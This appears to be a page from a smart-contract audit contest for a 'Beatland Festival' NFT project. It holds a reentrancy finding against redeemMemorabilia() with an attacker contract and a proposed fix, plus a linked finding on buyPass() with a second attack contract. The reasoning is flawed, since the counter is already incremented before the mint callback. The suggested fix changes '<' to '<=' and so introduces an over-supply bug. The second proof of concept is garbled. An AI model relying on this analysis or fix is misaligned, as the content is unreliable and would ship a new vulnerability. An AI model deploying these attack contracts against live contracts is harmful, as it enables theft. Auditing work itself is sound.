Beatland Festival

AI First Flight #4
Beginner FriendlyFoundrySolidityNFT
EXP
View results
Submission Details
Severity: medium
Valid

Reentrancy vulnerability in `redeemMemorabilia()` due to external call before state update

[H-5] Reentrancy vulnerability in redeemMemorabilia() due to external call before state update

Description

The redeemMemorabilia() function violates the Checks-Effects-Interactions pattern by making an external call to burnFrom() before updating the currentItemId state variable:

function redeemMemorabilia(uint256 collectionId) external {
MemorabiliaCollection storage collection = collections[collectionId];
require(collection.priceInBeat > 0, "Collection does not exist");
require(collection.isActive, "Collection not active");
require(collection.currentItemId < collection.maxSupply, "Collection sold out");
// External call before state update
BeatToken(beatToken).burnFrom(msg.sender, collection.priceInBeat);
// State update happens AFTER external call
uint256 itemId = collection.currentItemId++;
uint256 tokenId = encodeTokenId(collectionId, itemId);
tokenIdToEdition[tokenId] = itemId;
_mint(msg.sender, tokenId, 1, "");
}

While the current BeatToken implementation uses standard ERC20 without hooks, the _mint() function provides a reentrancy vector through the ERC1155 onERC1155Received callback. An attacker could reenter the function before currentItemId is incremented, potentially minting multiple NFTs.

Impact

  • Attacker could mint multiple NFTs from a single redemption by reentering before state updates

  • Could drain entire collection by repeatedly calling redeemMemorabilia() during the callback

  • Breaks the one-redemption-per-transaction invariant

  • Combined with sufficient BEAT tokens, attacker could mint more items than maxSupply allows

Proof of Concept

Attack flow:

1. Attacker calls redeemMemorabilia(collectionId)
2. burnFrom() executes and burns BEAT tokens
3. currentItemId still at original value (not yet incremented)
4. _mint() is called, triggering onERC1155Received callback on attacker contract
5. During callback, attacker reenters redeemMemorabilia()
6. All checks pass because currentItemId not yet updated
7. Another NFT is minted with potentially the same itemId
8. Original call continues, increments currentItemId once
9. Result: Multiple NFTs minted but counter only incremented once

Example attack contract:

contract ReentrancyAttacker is IERC1155Receiver {
FestivalPass public festivalPass;
uint256 public collectionId;
uint256 public attackCount;
function attack(uint256 _collectionId) external {
collectionId = _collectionId;
attackCount = 0;
festivalPass.redeemMemorabilia(collectionId);
}
function onERC1155Received(
address,
address,
uint256,
uint256,
bytes memory
) external returns (bytes4) {
if (attackCount < 3) {
attackCount++;
// Reenter during the mint callback
festivalPass.redeemMemorabilia(collectionId);
}
return this.onERC1155Received.selector;
}
function supportsInterface(bytes4 interfaceId) external pure returns (bool) {
return interfaceId == type(IERC1155Receiver).interfaceId;
}
}
// Result: Attacker mints 4 NFTs but currentItemId only increments by 1

Recommended Mitigation

Follow the Checks-Effects-Interactions pattern by updating state before external calls:

function redeemMemorabilia(uint256 collectionId) external {
MemorabiliaCollection storage collection = collections[collectionId];
require(collection.priceInBeat > 0, "Collection does not exist");
require(collection.isActive, "Collection not active");
require(collection.currentItemId <= collection.maxSupply, "Collection sold out");
+ // Update state FIRST
+ uint256 itemId = collection.currentItemId++;
+ uint256 tokenId = encodeTokenId(collectionId, itemId);
+ tokenIdToEdition[tokenId] = itemId;
- // External calls
+ // External calls LAST
BeatToken(beatToken).burnFrom(msg.sender, collection.priceInBeat);
-
- uint256 itemId = collection.currentItemId++;
- uint256 tokenId = encodeTokenId(collectionId, itemId);
- tokenIdToEdition[tokenId] = itemId;
_mint(msg.sender, tokenId, 1, "");
emit MemorabiliaRedeemed(msg.sender, tokenId, collectionId, itemId);
}

Alternatively, add OpenZeppelin's ReentrancyGuard:

import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
contract FestivalPass is ERC1155, Ownable2Step, IFestivalPass, ReentrancyGuard {
function redeemMemorabilia(uint256 collectionId) external nonReentrant {
// existing code
}
}
Updates

Lead Judging Commences

ai-first-flight-judge Lead Judge about 2 hours ago
Submission Judgement Published
Validated
Assigned finding tags:

[M-02] Function `FestivalPass:buyPass` Lacks Defense Against Reentrancy Attacks, Leading to Exceeding the Maximum NFT Pass Supply

# Function `FestivalPass:buyPass` Lacks Defense Against Reentrancy Attacks, Leading to Exceeding the Maximum NFT Pass Supply ## Description * Under normal circumstances, the system should control the supply of tokens or resources to ensure that it does not exceed a predefined maximum limit. This helps maintain system stability, security, and predictable behavior. * The function `FestivalPass:buyPass` does not follow the **Checks-Effects-Interactions** pattern. If a user uses a malicious contract as their account and includes reentrancy logic, they can bypass the maximum supply limit. ```solidity function buyPass(uint256 collectionId) external payable { // Must be valid pass ID (1 or 2 or 3) require(collectionId == GENERAL_PASS || collectionId == VIP_PASS || collectionId == BACKSTAGE_PASS, "Invalid pass ID"); // Check payment and supply require(msg.value == passPrice[collectionId], "Incorrect payment amount"); require(passSupply[collectionId] < passMaxSupply[collectionId], "Max supply reached"); // Mint 1 pass to buyer @> _mint(msg.sender, collectionId, 1, ""); // question: potential reentrancy? ++passSupply[collectionId]; // VIP gets 5 BEAT welcome bonus, BACKSTAGE gets 15 BEAT welcome bonus uint256 bonus = (collectionId == VIP_PASS) ? 5e18 : (collectionId == BACKSTAGE_PASS) ? 15e18 : 0; if (bonus > 0) { // Mint BEAT tokens to buyer BeatToken(beatToken).mint(msg.sender, bonus); } emit PassPurchased(msg.sender, collectionId); } ``` ## Risk **Likelihood**: * If a user uses a contract wallet with reentrancy logic, they can trigger multiple malicious calls during the execution of the `_mint` function. **Impact**: * Although the attacker still pays for each purchase, the total number of minted NFTs will exceed the intended maximum supply. This can lead to supply inflation and user dissatisfaction. ## Proof of Concept ````Solidity //SPDX-License-Identifier: MIT pragma solidity 0.8.25; import "@openzeppelin/contracts/token/ERC1155/IERC1155Receiver.sol"; import "../src/FestivalPass.sol"; import "./FestivalPass.t.sol"; import {console} from "forge-std/Test.sol"; contract AttackBuyPass{ address immutable onlyOnwer; FestivalPassTest immutable festivalPassTest; FestivalPass immutable festivalPass; uint256 immutable collectionId; uint256 immutable configPassPrice; uint256 immutable configPassMaxSupply; uint256 hackMintCount = 0; constructor(FestivalPassTest _festivalPassTest, FestivalPass _festivalPass, uint256 _collectionId, uint256 _configPassPrice, uint256 _configPassMaxSupply) payable { onlyOnwer = msg.sender; festivalPassTest = _festivalPassTest; festivalPass = _festivalPass; collectionId = _collectionId; configPassPrice = _configPassPrice; configPassMaxSupply = _configPassMaxSupply; hackMintCount = 1; } receive() external payable {} fallback() external payable {} function DoAttackBuyPass() public { require(msg.sender == onlyOnwer, "AttackBuyPass: msg.sender != onlyOnwer"); // This attack can only bypass the "maximum supply" restriction. festivalPass.buyPass{value: configPassPrice}(collectionId); } function onERC1155Received( address operator, address from, uint256 id, uint256 value, bytes calldata data ) external returns (bytes4){ if (hackMintCount festivalPass.passMaxSupply(targetPassId)); } } ``` ```` ## Recommended Mitigation * Refactor the function `FestivalPass:buyPass` to follow the **Checks-Effects-Interactions** principle. ```diff function buyPass(uint256 collectionId) external payable { // Must be valid pass ID (1 or 2 or 3) require(collectionId == GENERAL_PASS || collectionId == VIP_PASS || collectionId == BACKSTAGE_PASS, "Invalid pass ID"); // Check payment and supply require(msg.value == passPrice[collectionId], "Incorrect payment amount"); require(passSupply[collectionId] < passMaxSupply[collectionId], "Max supply reached"); // Mint 1 pass to buyer - _mint(msg.sender, collectionId, 1, ""); ++passSupply[collectionId]; + emit PassPurchased(msg.sender, collectionId); + _mint(msg.sender, collectionId, 1, ""); // VIP gets 5 BEAT welcome bonus, BACKSTAGE gets 15 BEAT welcome bonus uint256 bonus = (collectionId == VIP_PASS) ? 5e18 : (collectionId == BACKSTAGE_PASS) ? 15e18 : 0; if (bonus > 0) { // Mint BEAT tokens to buyer BeatToken(beatToken).mint(msg.sender, bonus); } - emit PassPurchased(msg.sender, collectionId); } ```

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!